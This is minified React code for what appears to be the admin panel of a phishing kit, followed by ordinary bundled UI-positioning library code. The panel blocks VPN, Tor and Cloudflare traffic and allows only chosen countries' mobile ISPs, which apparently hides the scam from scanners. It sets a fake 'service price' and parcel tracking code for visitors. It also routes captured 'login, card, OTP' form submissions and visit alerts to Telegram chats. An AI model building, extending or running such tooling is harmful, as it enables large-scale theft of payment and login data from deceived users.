gap-2",children:u.blocker_operators?.length>0&&o.jsxs(De,{type:"button",variant:"outline",size:"sm",onClick:()=>$e("blocker_operators"),className:"text-red-600 hover:text-red-700 w-full sm:w-auto",children:[o.jsx(Fa,{className:"h-4 w-4 mr-2"}),"Clear All"]})})]}),o.jsx("div",{className:"relative",children:o.jsxs("div",{className:Kx,children:[o.jsxs("div",{className:Xx,children:[o.jsx(qt,{placeholder:"Operator key (cloudflare, vpn…)",value:p,onChange:ae=>{x(ae.target.value);const Ae=Qe(ae.target.value,"blocked");R(Ae),I(Ae.length>0),U("blocked")},onKeyPress:ae=>{ae.key==="Enter"&&(ae.preventDefault(),Oe(p,"blocked"),I(!1))},onFocus:()=>{if(p){const ae=Qe(p,"blocked");R(ae),I(ae.length>0),U("blocked")}},onBlur:()=>{setTimeout(()=>I(!1),200)}}),B&&j.length>0&&z==="blocked"&&o.jsx("div",{className:"absolute top-full left-0 right-0 z-10 mt-1 bg-background border border-border rounded-md shadow-lg max-h-40 overflow-y-auto",children:j.map(ae=>o.jsx("button",{type:"button",className:"w-full px-3 py-2 text-left hover:bg-muted transition-colors",onClick:()=>{x(ae),I(!1),u.blocker_operators.includes(ae)||(d(Ae=>({...Ae,blocker_operators:[...Ae.blocker_operators,ae]})),x(""))},children:o.jsx("span",{className:"font-medium",children:ae})},ae))})]}),o.jsxs(De,{type:"button",onClick:()=>Oe(p,"blocked"),size:"sm",disabled:!p.trim(),className:Wx,children:[o.jsx(li,{className:"h-4 w-4 mr-2"}),"Block Operator"]})]})}),o.jsx(eg,{label:"Bulk add blocked operators (comma or new line)",placeholder:"nordvpn, proxy, tor, cloudflare",transformItem:$c,onAddItems:ae=>me(ae,"blocked")}),o.jsxs("div",{className:"space-y-2",children:[o.jsx(Je,{className:"text-sm font-medium",children:"Suggested lists (one click):"}),o.jsx("div",{className:"flex flex-wrap gap-2",children:CN.map(ae=>o.jsxs(De,{type:"button",variant:"outline",size:"sm",className:"text-xs",onClick:()=>we(ae.operators,"blocked"),children:["+ ",ae.label," (",ae.operators.length,")"]},ae.id))})]}),o.jsxs("div",{className:"space-y-2",children:[o.jsxs(Je,{className:"text-sm text-muted-foreground",children:["Active block keys (",u.blocker_operators?.length||0,")"]}),u.blocker_operators?.length>0?o.jsx("div",{className:"rounded-lg border border-destructive/20 bg-destructive/5 p-2 sm:p-3 max-h-[min(200px,35dvh)] overflow-y-auto",children:o.jsx("div",{className:"flex flex-wrap gap-1.5",children:u.blocker_operators.map(ae=>o.jsxs(Ot,{variant:"secondary",className:"text-xs pl-2 pr-1 py-1 gap-1 font-normal bg-background/80",children:[ae,o.jsx("button",{type:"button",className:"ml-0.5 rounded-full hover:bg-destructive/20 p-0.5",onClick:()=>ke(ae,"blocked"),"aria-label":`Remove ${ae}`,children:o.jsx(Fa,{className:"h-3 w-3 text-red-600"})})]},ae))})}):o.jsxs("div",{className:"text-center py-6 text-muted-foreground border border-dashed rounded-lg text-sm",children:[o.jsx(Ng,{className:"h-8 w-8 mx-auto mb-2 opacity-50"}),o.jsx("p",{children:"No block keys yet."})]})]})]}),allowedContent:o.jsxs(o.Fragment,{children:[o.jsxs("div",{className:"flex flex-col gap-2 sm:flex-row sm:items-center sm:justify-between",children:[o.jsx(Je,{className:"text-sm sm:text-base font-medium",children:"Allowed Operators"}),o.jsx("div",{className:"flex gap-2",children:u.allowed_operators?.length>0&&o.jsxs(De,{type:"button",variant:"outline",size:"sm",onClick:()=>$e("allowed_operators"),className:"text-red-600 hover:text-red-700 w-full sm:w-auto",children:[o.jsx(Fa,{className:"h-4 w-4 mr-2"}),"Clear All"]})})]}),o.jsx("div",{className:"relative",children:o.jsxs("div",{className:Kx,children:[o.jsxs("div",{className:Xx,children:[o.jsx(qt,{placeholder:"Operator key (verizon, orange…)",value:g,onChange:ae=>{y(ae.target.value);const Ae=Qe(ae.target.value,"allowed");R(Ae),I(Ae.length>0),U("allowed")},onKeyPress:ae=>{ae.key==="Enter"&&(ae.preventDefault(),Oe(g,"allowed"),I(!1))},onFocus:()=>{if(g){const ae=Qe(g,"allowed");R(ae),I(ae.length>0),U("allowed")}},onBlur:()=>{setTimeout(()=>I(!1),200)}}),B&&j.length>0&&z==="allowed"&&o.jsx("div",{className:"absolute top-full left-0 right-0 z-10 mt-1 bg-background border border-border rounded-md shadow-lg max-h-40 overflow-y-auto",children:j.map(ae=>o.jsx("button",{type:"button",className:"w-full px-3 py-2 text-left hover:bg-muted transition-colors",onClick:()=>{y(ae),I(!1),u.allowed_operators.includes(ae)||(d(Ae=>({...Ae,allowed_operators:[...Ae.allowed_operators,ae]})),y(""))},children:o.jsx("span",{className:"font-medium",children:ae})},ae))})]}),o.jsxs(De,{type:"button",onClick:()=>Oe(g,"allowed"),size:"sm",disabled:!g.trim(),className:Wx,children:[o.jsx(li,{className:"h-4 w-4 mr-2"}),"Allow Operator"]})]})}),o.jsxs("div",{className:"rounded-lg border border-primary/20 p-2 sm:p-2.5 space-y-2 sm:space-y-2.5 bg-primary/5 min-w-0",children:[o.jsxs("div",{className:"flex flex-col gap-2 sm:flex-row sm:items-center sm:justify-between",children:[o.jsxs("div",{children:[o.jsx(Je,{className:"text-sm font-medium",children:"Per-country operators (DB-IP top ISPs)"}),o.jsxs("p",{className:"text-xs text-muted-foreground mt-1",children:["Loads the top 20 ISPs per country from"," ",o.jsx("a",{href:"https://db-ip.com/country/MA",target:"_blank",rel:"noreferrer",className:"underline",children:"db-ip.com/country"})," ","(e.g. Maroc Telecom, Meditel, Inwi for MA)."]})]}),o.jsxs(De,{type:"button",size:"sm",variant:"default",disabled:W,onClick:ye,className:"w-full sm:w-auto shrink-0",children:[W?o.jsx(jn,{className:"h-4 w-4 mr-2 animate-spin"}):o.jsx(bi,{className:"h-4 w-4 mr-2"}),"Fetch by country"]})]}),u.countries_mode==="all"&&o.jsx("p",{className:"text-xs text-amber-600 dark:text-amber-400",children:'Switch country mode to "Allow only" and add countries, then fetch.'}),$.length>0&&o.jsxs("div",{className:"space-y-2",children:[o.jsx("div",{className:"flex justify-end",children:o.jsxs(De,{type:"button",size:"sm",variant:"outline",className:"h-7 text-xs",onClick:()=>{const ae=$.flatMap(Ae=>Ae.operators||[]);we(ae,"allowed")},children:[o.jsx(li,{className:"h-3 w-3 mr-1"}),"Add all countries"]})}),o.jsx(_q,{groups:$,onAddKeyword:ae=>Oe(ae,"allowed"),onAddAllKeywords:ae=>we(ae,"allowed")})]})]}),o.jsx(eg,{label:"Bulk add allowed operators (comma or new line)",placeholder:"verizon, orange, maroc telecom, vodafone",transformItem:$c,onAddItems:ae=>me(ae,"allowed")}),o.jsxs("div",{className:"space-y-2",children:[o.jsx(Je,{className:"text-sm font-medium",children:"Global suggested lists (one click):"}),o.jsx("div",{className:"flex flex-wrap gap-2",children:CN.map(ae=>o.jsxs(De,{type:"button",variant:"outline",size:"sm",className:"text-xs",onClick:()=>we(ae.operators,"allowed"),children:["+ ",ae.label," (",ae.operators.length,")"]},ae.id))})]}),o.jsxs("div",{className:"space-y-2",children:[o.jsxs(Je,{className:"text-sm text-muted-foreground",children:["Active allow keys (",u.allowed_operators?.length||0,")"]}),u.allowed_operators?.length>0?o.jsx("div",{className:"rounded-lg border border-green-200/50 dark:border-green-800/40 bg-green-50/50 dark:bg-green-950/10 p-2 sm:p-3 max-h-[min(200px,35dvh)] overflow-y-auto",children:o.jsx("div",{className:"flex flex-wrap gap-1.5",children:u.allowed_operators.map(ae=>o.jsxs(Ot,{variant:"secondary",className:"text-xs pl-2 pr-1 py-1 gap-1 font-normal bg-background/80",children:[ae,o.jsx("button",{type:"button",className:"ml-0.5 rounded-full hover:bg-destructive/20 p-0.5",onClick:()=>ke(ae,"allowed"),"aria-label":`Remove ${ae}`,children:o.jsx(Fa,{className:"h-3 w-3 text-red-600"})})]},ae))})}):o.jsxs("div",{className:"text-center py-6 text-muted-foreground border border-dashed rounded-lg text-sm",children:[o.jsx(G0,{className:"h-8 w-8 mx-auto mb-2 opacity-50"}),o.jsx("p",{children:"No allow keys yet."})]})]})]})})})]}),o.jsxs(io,{className:"border-amber-200 bg-amber-50 dark:border-amber-800 dark:bg-amber-950",children:[o.jsx(hu,{className:"h-4 w-4 text-amber-600 dark:text-amber-400"}),o.jsxs(oo,{className:"text-amber-800 dark:text-amber-200",children:[o.jsx("strong",{children:"Important:"})," Blocked operators take precedence over allowed operators. Test your settings carefully to avoid blocking legitimate users."]})]})]})]}),o.jsxs("div",{className:"flex flex-col gap-3 sm:flex-row sm:items-center sm:justify-between pt-2 sm:pt-4 border-t sticky bottom-0 bg-background/95 backdrop-blur supports-[backdrop-filter]:bg-background/80 py-3 -mx-1 px-1 z-10",children:[o.jsx("div",{className:"text-xs sm:text-sm text-muted-foreground order-2 sm:order-1",children:"Applies to all tabs — save when you are done editing."}),o.jsx("div",{className:"flex items-center gap-3 order-1 sm:order-2 w-full sm:w-auto",children:o.jsx(De,{type:"submit",disabled:N,size:"lg",className:"w-full sm:min-w-32 sm:w-auto",children:N?"Saving...":"Save All Settings"})})]})]})]})}function qq(){return o.jsx("div",{children:o.jsx(Hq,{})})}const $q=()=>o.jsxs(is,{children:[o.jsx(Ee,{className:"h-10 w-48"}),o.jsxs(kn,{children:[o.jsx(Bn,{children:o.jsx(Ee,{className:"h-5 w-24"})}),o.jsx(Zn,{children:o.jsxs("div",{className:"grid sm:grid-cols-2 gap-2",children:[o.jsx(Ee,{className:"h-9 w-full"}),o.jsx(Ee,{className:"h-9 w-full"})]})})]}),o.jsxs(kn,{children:[o.jsx(Bn,{children:o.jsx(Ee,{className:"h-5 w-32"})}),o.jsx(Zn,{children:o.jsxs("div",{className:"max-w-md space-y-2",children:[o.jsx(Ee,{className:"h-9 w-full"}),o.jsx(Ee,{className:"h-9 w-full"}),o.jsx(Ee,{className:"h-9 w-full"})]})})]})]});function Gq(){const{success:e,error:t,errorUnlessNotified:n}=yi(),s=Qt(),[i,c]=C.useState(!0),[u,d]=C.useState({current_password:"",new_password:"",confirm_password:""}),[m,h]=C.useState("0"),[p,x]=C.useState("PM478844410MA"),[g,y]=C.useState(!1),[w,S]=C.useState(!1),[N,T]=C.useState(!1),[E,A]=C.useState(!1),[j,R]=C.useState(!1),[D,k]=C.useState(new Date);C.useEffect(()=>{B()},[]);const B=async()=>{c(!0);try{const[$,H]=await Promise.all([s.get("/user"),s.get("/settings")]);if($?.data&&k(new Date($.data.updated_at||new Date)),H?.success&&H?.data){const W=H.data;h(W.price??"0"),x(W.tracking??"PM478844410MA"),W.updated_at&&k(new Date(W.updated_at))}}catch($){n($,"Failed to load settings")}finally{c(!1)}},I=async $=>{if($.preventDefault(),R(!0),u.new_password!==u.confirm_password){t("New passwords do not match"),R(!1);return}if(u.new_password.length<8){t("Password must be at least 8 characters long"),R(!1);return}try{const H=await s.create("/auth/change-password",{current_password:u.current_password,new_password:u.new_password,new_password_confirmation:u.confirm_password});H?.success?(e("Password changed successfully!"),d({current_password:"",new_password:"",confirm_password:""}),k(new Date)):t(H?.message||"Failed to change password")}catch(H){n(H,"Failed to change password. Please check your current password.")}finally{R(!1)}},z=async()=>{y(!0);try{const $=await s.create("/settings",{price:m,tracking:p},!1);$?.success?(e("Service settings saved"),$?.data?.updated_at&&k(new Date($.data.updated_at))):t($?.message||"Failed to save service settings")}catch($){n($,"Failed to save service settings")}finally{y(!1)}},U=$=>new Intl.DateTimeFormat("en-US",{year:"numeric",month:"short",day:"numeric",hour:"2-digit",minute:"2-digit"}).format(new Date($));return i?o.jsx($q,{}):o.jsxs(is,{children:[o.jsx(yo,{title:"Settings",description:"Service info and account security",icon:Cl,badge:o.jsxs(Ot,{variant:"outline",className:"w-full md:w-auto justify-center flex items-center gap-1.5 text-xs py-1.5",children:[o.jsx(Fu,{className:"h-3 w-3 shrink-0"}),"Updated ",U(D)]})}),o.jsxs(kn,{children:[o.jsxs(Bn,{children:[o.jsx(ia,{icon:ul,children:"Service"}),o.jsx(Hs,{hideOnMobile:!1,children:"Price and tracking used in visitor-facing content and bot messages"})]}),o.jsxs(Zn,{spaced:!0,children:[o.jsxs("div",{className:"grid gap-3 sm:grid-cols-2",children:[o.jsx(ii,{label:"Service price",htmlFor:"price",hint:"Displayed price for your service.",children:o.jsx(qt,{id:"price",placeholder:"0.00",value:m,onChange:$=>h($.target.value),className:El})}),o.jsx(ii,{label:"Tracking code",htmlFor:"tracking",hint:"Campaign or tracking identifier.",children:o.jsx(qt,{id:"tracking",placeholder:"PM478844410MA",value:p,onChange:$=>x($.target.value),className:je(El,"font-mono")})})]}),o.jsx("div",{className:"flex justify-end pt-1 border-t border-border/50",children:o.jsxs(De,{type:"button",size:"sm",onClick:z,disabled:g,className:"w-full md:w-auto",children:[g?o.jsx(jn,{className:"h-4 w-4 mr-1.5 animate-spin"}):o.jsx(Uv,{className:"h-4 w-4 mr-1.5"}),g?"Saving…":"Save service"]})})]})]}),o.jsxs(kn,{children:[o.jsxs(Bn,{children:[o.jsx(ia,{icon:Zc,children:"Account password"}),o.jsx(Hs,{children:"Change your admin panel login password"})]}),o.jsx(Zn,{children:o.jsxs("form",{onSubmit:I,className:"w-full max-w-md space-y-3",children:[o.jsx(ii,{label:"Current password",htmlFor:"current_password",children:o.jsx(Qx,{id:"current_password",icon:R9,value:u.current_password,onChange:$=>d(H=>({...H,current_password:$.target.value})),placeholder:"Current password",show:w,onToggleShow:()=>S(!w),autoComplete:"current-password"})}),o.jsx(ii,{label:"New password",htmlFor:"new_password",hint:"At least 8 characters",children:o.jsx(Qx,{id:"new_password",icon:Zc,value:u.new_password,onChange:$=>d(H=>({...H,new_password:$.target.value})),placeholder:"New password",show:N,onToggleShow:()=>T(!N),autoComplete:"new-password"})}),o.jsx(ii,{label:"Confirm new password",htmlFor:"confirm_password",children:o.jsx(Qx,{id:"confirm_password",icon:Zc,value:u.confirm_password,onChange:$=>d(H=>({...H,confirm_password:$.target.value})),placeholder:"Confirm new password",show:E,onToggleShow:()=>A(!E),autoComplete:"new-password"})}),o.jsxs("p",{className:je(g5,"flex items-start gap-2 rounded-md bg-muted/20 px-2.5 py-2 border border-dashed border-border/40"),children:[o.jsx(Rl,{className:"h-3.5 w-3.5 shrink-0 mt-0.5 text-muted-foreground","aria-hidden":!0}),o.jsx("span",{children:"Use a strong, unique password for this admin panel."})]}),o.jsx("div",{className:"flex flex-col-reverse sm:flex-row sm:justify-end gap-2 pt-2 border-t border-border/50",children:o.jsx(De,{type:"submit",disabled:j,size:"sm",className:"w-full sm:w-auto min-w-[9rem]",children:j?o.jsxs(o.Fragment,{children:[o.jsx(jn,{className:"h-4 w-4 mr-1.5 animate-spin"}),"Changing…"]}):"Change password"})})]})})]})]})}function Yq(){return o.jsx(o.Fragment,{children:o.jsx(Gq,{})})}const Kq=e=>{if(!e||e.length<10)return e;const t=e.split(":");if(t.length!==2)return e;const[n,s]=t,i=s.substring(0,4)+"*".repeat(Math.max(0,s.length-8))+s.substring(s.length-4);return`${n}:${i}`},Xq=e=>{if(!e)return"Never";const t=new Date(e),s=Math.floor((new Date-t)/(1e3*60));if(s<1)return"Just now";if(s<60)return`${s}m ago`;const i=Math.floor(s/60);return i<24?`${i}h ago`:t.toLocaleDateString("en-US",{month:"short",day:"numeric",hour:"2-digit",minute:"2-digit"})};function NN({variant:e="neutral",icon:t,title:n,children:s}){const i=e==="success"?"border-green-500/25 bg-green-500/5":e==="error"?"border-red-500/25 bg-red-500/5":"border-border/50 bg-muted/20";return o.jsx("div",{className:je(JH,i),children:o.jsxs("div",{className:"flex items-start gap-2",children:[t&&o.jsx(t,{className:"h-4 w-4 shrink-0 mt-0.5 text-primary"}),o.jsxs("div",{className:"min-w-0 flex-1",children:[o.jsx("p",{className:eq,children:n}),o.jsx("div",{className:tq,children:s})]})]})})}const Wq=()=>o.jsxs(is,{children:[o.jsx(Ee,{className:"h-10 w-52"}),o.jsx(Ee,{className:"h-32 w-full rounded-lg"}),o.jsx(Ee,{className:"h-48 w-full rounded-lg"})]});function Qq(){const{success:e,error:t,errorUnlessNotified:n}=yi(),s=Qt(),[i,c]=C.useState(!0),[u,d]=C.useState(!1),[m,h]=C.useState(!1),[p,x]=C.useState(new Date),[g,y]=C.useState(!1),[w,S]=C.useState(!1),[N,T]=C.useState(null),[E,A]=C.useState(null),[j,R]=C.useState({bot_token:"",chat_id:"",chat_id_info:""}),D=C.useCallback(async(U=!1)=>{c(!0);try{const $=await s.get("/settings");if($?.success&&$?.data){const H=$.data;R({bot_token:H.bot_token||"",chat_id:H.chat_id||"",chat_id_info:H.chat_id_info||""}),x(new Date(H.updated_at||new Date))}else U||t("Failed to load settings")}catch($){U||n($,"Failed to load settings")}finally{c(!1)}},[s,t,n]);C.useEffect(()=>{D()},[]);const k=async()=>{d(!0);try{const U=await s.create("/settings",{bot_token:j.bot_token,chat_id:j.chat_id,chat_id_info:j.chat_id_info},!1);U?.success?(e(U.message||"Settings saved"),U.bot_info&&T(U.bot_info),await D(!0)):t(U?.message||"Failed to save")}catch(U){n(U,"Failed to save settings")}finally{d(!1)}},B=()=>m?j.bot_token:j.bot_token?Kq(j.bot_token):"",I=async()=>{if(!j.bot_token)return t("Enter a bot token first");y(!0);try{const U=await s.create("/telegram/test",{bot_token:j.bot_token});U?.success?(e("Bot connection OK"),T(U.bot_info)):t(U?.message||"Bot test failed")}catch(U){n(U,"Bot test failed")}finally{y(!1)}},z=async(U,$)=>{if(!j.bot_token||!U)return t("Bot token and chat ID are required");S(!0);try{const H=await s.create("/telegram/test-message",{bot_token:j.bot_token,chat_id:U,message:`🧪 Test — ${$}. Tap Open panel to manage this client in the web panel.`});A({success:!!H?.success,message:H?.message,chatId:U,label:$,timestamp:new Date}),H?.success?e(`Test sent to ${$}`):t(H?.message||"Send failed")}catch(H){n(H,"Send failed")}finally{S(!1)}};return i?o.jsx(Wq,{}):o.jsxs(is,{children:[o.jsx(yo,{title:"Telegram notifications",description:"Alerts in Telegram with one button — Open panel. No webhook or inline keyboard required.",icon:co,badge:o.jsxs(Ot,{variant:"outline",className:"gap-1 text-xs",children:[o.jsx(Lv,{className:"h-3 w-3"}),"Panel link only"]}),actions:o.jsxs(o.Fragment,{children:[o.jsxs(De,{variant:"outline",size:"sm",onClick:()=>D(),disabled:i,children:[o.jsx(bi,{className:"h-4 w-4 mr-1.5"}),"Refresh"]}),o.jsxs(De,{size:"sm",onClick:k,disabled:u,children:[u?o.jsx(jn,{className:"h-4 w-4 mr-1.5 animate-spin"}):o.jsx(Uv,{className:"h-4 w-4 mr-1.5"}),u?"Saving…":"Save"]})]})}),o.jsxs(kn,{children:[o.jsx(Bn,{children:o.jsx(ia,{icon:H0,children:"Status"})}),o.jsxs(Zn,{children:[o.jsxs("div",{className:"grid grid-cols-1 gap-2 sm:grid-cols-3",children:[o.jsx(Zx,{ok:!!j.bot_token,label:"Bot token",detail:j.bot_token?"Set":"Missing"}),o.jsx(Zx,{ok:!!j.chat_id,label:"Main chat",detail:j.chat_id?"Form alerts":"Missing"}),o.jsx(Zx,{ok:!!j.chat_id_info,label:"Info chat",detail:j.chat_id_info?"Visits":"Missing"})]}),o.jsxs("p",{className:"text-xs text-muted-foreground flex items-center gap-1 mt-2",children:[o.jsx(Fu,{className:"h-3 w-3"}),"Updated ",Xq(p)]})]})]}),o.jsxs(Oh,{defaultValue:"config",className:"w-full space-y-3",children:[o.jsxs(Ku,{className:x5,children:[o.jsxs(vs,{value:"config",className:gl,children:[o.jsx(Rl,{className:vl}),o.jsx("span",{children:"Config"})]}),o.jsxs(vs,{value:"testing",className:gl,children:[o.jsx(wx,{className:vl}),o.jsx("span",{children:"Testing"})]})]}),o.jsxs(ys,{value:"config",className:"space-y-3",children:[o.jsxs(kn,{children:[o.jsxs(Bn,{children:[o.jsx(ia,{icon:Rl,children:"Bot token"}),o.jsx(Hs,{children:"From @BotFather"})]}),o.jsx(Zn,{children:o.jsx(ii,{label:"Token",htmlFor:"bot_token",children:o.jsxs("div",{className:"relative",children:[o.jsx(qt,{id:"bot_token",value:B(),onChange:U=>R($=>({...$,bot_token:U.target.value})),onFocus:()=>h(!0),placeholder:"123456789:ABC…",className:je(El,"pr-9 font-mono text-sm")}),o.jsx(De,{type:"button",variant:"ghost",size:"icon",className:"absolute right-1 top-1/2 h-7 w-7 -translate-y-1/2",onClick:()=>h(!m),children:m?o.jsx(Pv,{className:"h-3.5 w-3.5"}):o.jsx(Sr,{className:"h-3.5 w-3.5"})})]})})})]}),o.jsxs(kn,{children:[o.jsx(Bn,{children:o.jsx(ia,{icon:$0,children:"Chat IDs"})}),o.jsxs(Zn,{spaced:!0,children:[o.jsxs(io,{className:"py-2.5 border-border/60 bg-muted/30",children:[o.jsx(xj,{className:"h-3.5 w-3.5 shrink-0"}),o.jsxs(oo,{className:"text-xs text-muted-foreground space-y-1",children:[o.jsxs("p",{children:[o.jsx("strong",{children:"Main chat"})," — form submissions (login, card, OTP…)."]}),o.jsxs("p",{children:[o.jsx("strong",{children:"Info chat"})," — new / returning visits (if empty, main chat is used)."]}),o.jsx("p",{children:"Add the bot to a group, send a message, then read the chat ID with @RawDataBot."})]})]}),o.jsxs("div",{className:"grid gap-3 sm:grid-cols-2",children:[o.jsx(ii,{label:"Main chat ID",htmlFor:"chat_id",children:o.jsx(qt,{id:"chat_id",value:j.chat_id,onChange:U=>R($=>({...$,chat_id:U.target.value})),placeholder:"-1001234567890",className:je(El,"font-mono text-sm")})}),o.jsx(ii,{label:"Info chat ID (visits)",htmlFor:"chat_id_info",hint:"Leave empty to use main chat for visit alerts",children:o.jsx(qt,{id:"chat_id_info",value:j.chat_id_info,onChange:U=>R($=>({...$,chat_id_info:U.target.value})),placeholder:"-1009876543210",className:je(El,"font-mono text-sm")})})]})]})]})]}),o.jsxs(ys,{value:"testing",className:"space-y-3",children:[o.jsxs(kn,{children:[o.jsx(Bn,{children:o.jsx(ia,{icon:wx,children:"Tests"})}),o.jsxs(Zn,{spaced:!0,children:[o.jsxs("div",{className:"grid grid-cols-1 sm:grid-cols-3 gap-2",children:[o.jsxs(De,{variant:"outline",size:"sm",disabled:!j.bot_token||g,onClick:I,children:[g?o.jsx(jn,{className:"h-4 w-4 mr-2 animate-spin"}):o.jsx(wx,{className:"h-4 w-4 mr-2"}),"Test bot"]}),o.jsxs(De,{variant:"outline",size:"sm",disabled:!j.bot_token||!j.chat_id||w,onClick:()=>z(j.chat_id,"main chat"),children:[w?o.jsx(jn,{className:"h-4 w-4 mr-2 animate-spin"}):o.jsx(Sg,{className:"h-4 w-4 mr-2"}),"Test main chat"]}),o.jsxs(De,{variant:"outline",size:"sm",disabled:!j.bot_token||!j.chat_id_info||w,onClick:()=>z(j.chat_id_info,"info chat"),children:[w?o.jsx(jn,{className:"h-4 w-4 mr-2 animate-spin"}):o.jsx(Sg,{className:"h-4 w-4 mr-2"}),"Test info chat"]})]}),o.jsx("p",{className:"text-xs text-muted-foreground",children:"Test messages include an Open panel button — tap it to confirm the link works."})]})]}),(N||E)&&o.jsxs(kn,{children:[o.jsx(Bn,{children:o.jsx(ia,{icon:H0,children:"Results"})}),o.jsxs(Zn,{spaced:!0,children:[N&&o.jsx(NN,{variant:"success",icon:fu,title:"Bot connected",children:o.jsxs("p",{children:[N.first_name,N.username?` @${N.username}`:""]})}),E&&o.jsx(NN,{variant:E.success?"success":"error",icon:E.success?$0:Ov,title:E.label,children:o.jsx("p",{className:"break-words",children:E.message})})]})]})]})]})]})}function Zq(){return o.jsx(o.Fragment,{children:o.jsx(Qq,{})})}function EN(e,[t,n]){return Math.min(n,Math.max(t,e))}const Jq=["top","right","bottom","left"],pi=Math.min,Oa=Math.max,nh=Math.round,kf=Math.floor,qs=e=>({x:e,y:e}),e$={left:"right",right:"left",bottom:"top",top:"bottom"},t$={start:"end",end:"start"};function av(e,t,n){return Oa(e,pi(t,n))}function Ar(e,t){return typeof e=="function"?e(t):e}function Tr(e){return e.split("-")[0]}function $l(e){return e.split("-")[1]}function Hy(e){return e==="x"?"y":"x"}function qy(e){return e==="y"?"height":"width"}const n$=new Set(["top","bottom"]);function Ps(e){return n$.has(Tr(e))?"y":"x"}function $y(e){return Hy(Ps(e))}function a$(e,t,n){n===void 0&&(n=!1);const s=$l(e),i=$y(e),c=qy(i);let u=i==="x"?s===(n?"end":"start")?"right":"left":s==="start"?"bottom":"top";return t.reference[c]>t.floating[c]&&(u=ah(u)),[u,ah(u)]}function s$(e){const t=ah(e);return[sv(e),t,sv(t)]}function sv(e){return e.replace(/start|end/g,t=>t$[t])}const jN=["left","right"],AN=["right","left"],r$=["top","bottom"],i$=["bottom","top"];function o$(e,t,n){switch(e){case"top":case"bottom":return n?t?AN:jN:t?jN:AN;case"left":case"right":return t?r$:i$;default:return[]}}function l$(e,t,n,s){const i=$l(e);let c=o$(Tr(e),n==="start",s);return i&&(c=c.map(u=>u+"-"+i),t&&(c=c.concat(c.map(sv)))),c}function ah(e){return e.replace(/left|right|bottom|top/g,t=>e$[t])}function c$(e){return{top:0,right:0,bottom:0,left:0,...e}}function q5(e){return typeof e!="number"?c$(e):{top:e,right:e,bottom:e,left:e}}function sh(e){const{x:t,y:n,width:s,height:i}=e;return{width:s,height:i,top:n,left:t,right:t+s,bottom:n+i,x:t,y:n}}function TN(e,t,n){let{reference:s,floating:i}=e;const c=Ps(t),u=$y(t),d=qy(u),m=Tr(t),h=c==="y",p=s.x+s.width/2-i.width/2,x=s.y+s.height/2-i.height/2,g=s[d]/2-i[d]/2;let y;switch(m){case"top":y={x:p,y:s.y-i.height};break;case"bottom":y={x:p,y:s.y+s.height};break;case"right":y={x:s.x+s.width,y:x};break;case"left":y={x:s.x-i.width,y:x};break;default:y={x:s.x,y:s.y}}switch($l(t)){case"start":y[u]-=g*(n&&h?-1:1);break;case"end":y[u]+=g*(n&&h?-1:1);break}return y}const u$=async(e,t,n)=>{const{placement:s="bottom",strategy:i="absolute",middleware:c=[],platform:u}=n,d=c.filter(Boolean),m=await(u.isRTL==null?void 0:u.isRTL(t));let h=await u.getElementRects({reference:e,floating:t,strategy:i}),{x:p,y:x}=TN(h,s,m),g=s,y={},w=0;for(let S=0;S<d.length;S++){const{name:N,fn:T}=d[S],{x:E,y:A,data:j,reset:R}=await T({x:p,y:x,initialPlacement:s,placement:g,strategy:i,middlewareData:y,rects:h,platform:u,elements:{reference:e,floating:t}});p=E??p,x=A??x,y={...y,[N]:{...y[N],...j}},R&&w<=50&&(w++,typeof R=="object"&&(R.placement&&(g=R.placement),R.rects&&(h=R.rects===!0?await u.getElementRects({reference:e,floating:t,strategy:i}):R.rects),{x:p,y:x}=TN(h,g,m)),S=-1)}return{x:p,y:x,placement:g,strategy:i,middlewareData:y}};async function Su(e,t){var n;t===void 0&&(t={});const{x:s,y:i,platform:c,rects:u,elements:d,strategy:m}=e,{boundary:h="clippingAncestors",rootBoundary:p="viewport",elementContext:x="floating",altBoundary:g=!1,padding:y=0}=Ar(t,e),w=q5(y),N=d[g?x==="floating"?"reference":"floating":x],T=sh(await c.getClippingRect({element:(n=await(c.isElement==null?void 0:c.isElement(N)))==null||n?N:N.contextElement||await(c.getDocumentElement==null?void 0:c.getDocumentElement(d.floating)),boundary:h,rootBoundary:p,strategy:m})),E=x==="floating"?{x:s,y:i,width:u.floating.width,height:u.floating.height}:u.reference,A=await(c.getOffsetParent==null?void 0:c.getOffsetParent(d.floating)),j=await(c.isElement==null?void 0:c.isElement(A))?await(c.getScale==null?void 0:c.getScale(A))||{x:1,y:1}:{x:1,y:1},R=sh(c.convertOffsetParentRelativeRectToViewportRelativeRect?await c.convertOffsetParentRelativeRectToViewportRelativeRect({elements:d,rect:E,offsetParent:A,strategy:m}):E);return{top:(T.top-R.top+w.top)/j.y,bottom:(R.bottom-T.bottom+w.bottom)/j.y,left:(T.left-R.left+w.left)/j.x,right:(R.right-T.right+w.right)/j.x}}const d$=e=>({name:"arrow",options:e,async fn(t){const{x:n,y:s,placement:i,rects:c,platform:u,elements:d,middlewareData:m}=t,{element:h,padding:p=0}=Ar(e,t)||{};if(h==null)return{};const x=q5(p),g={x:n,y:s},y=$y(i),w=qy(y),S=await u.getDimensions(h),N=y==="y",T=N?"top":"left",E=N?"bottom":"right",A=N?"clientHeight":"clientWidth",j=c.reference[w]+c.reference[y]-g[y]-c.floating[w],R=g[y]-c.reference[y],D=await(u.getOffsetParent==null?void 0:u.getOffsetParent(h));let k=D?D[A]:0;(!k||!await(u.isElement==null?void 0:u.isElement(D)))&&(k=d.floating[A]||c.floating[w]);const B=j/2-R/2,I=k/2-S[w]/2-1,z=pi(x[T],I),U=pi(x[E],I),$=z,H=k-S[w]-U,W=k/2-S[w]/2+B,se=av($,W,H),M=!m.arrow&&$l(i)!=null&&W!==se&&c.reference[w]/2-(W<$?z:U)-S[w]/2<0,O=M?W<$?W-$:W-H:0;return{[y]:g[y]+O,data:{[y]:se,centerOffset:W-se-O,...M&&{alignmentOffset:O}},reset:M}}}),f$=function(e){return e===void 0&&(e={}),{name:"flip",options:e,async fn(t){var n,s;const{placement:i,middlewareData:c,rects:u,initialPlacement:d,platform:m,elements:h}=t,{mainAxis:p=!0,crossAxis:x=!0,fallbackPlacements:g,fallbackStrategy:y="bestFit",fallbackAxisSideDirection:w="none",flipAlignment:S=!0,...N}=Ar(e,t);if((n=c.arrow)!=null&&n.alignmentOffset)return{};const T=Tr(i),E=Ps(d),A=Tr(d)===d,j=await(m.isRTL==null?void 0:m.isRTL(h.floating)),R=g||(A||!S?[ah(d)]:s$(d)),D=w!=="none";!g&&D&&R.push(...l$(d,S,w,j));const k=[d,...R],B=await Su(t,N),I=[];let z=((s=c.flip)==null?void 0:s.overflows)||[];if(p&&I.push(B[T]),x){const 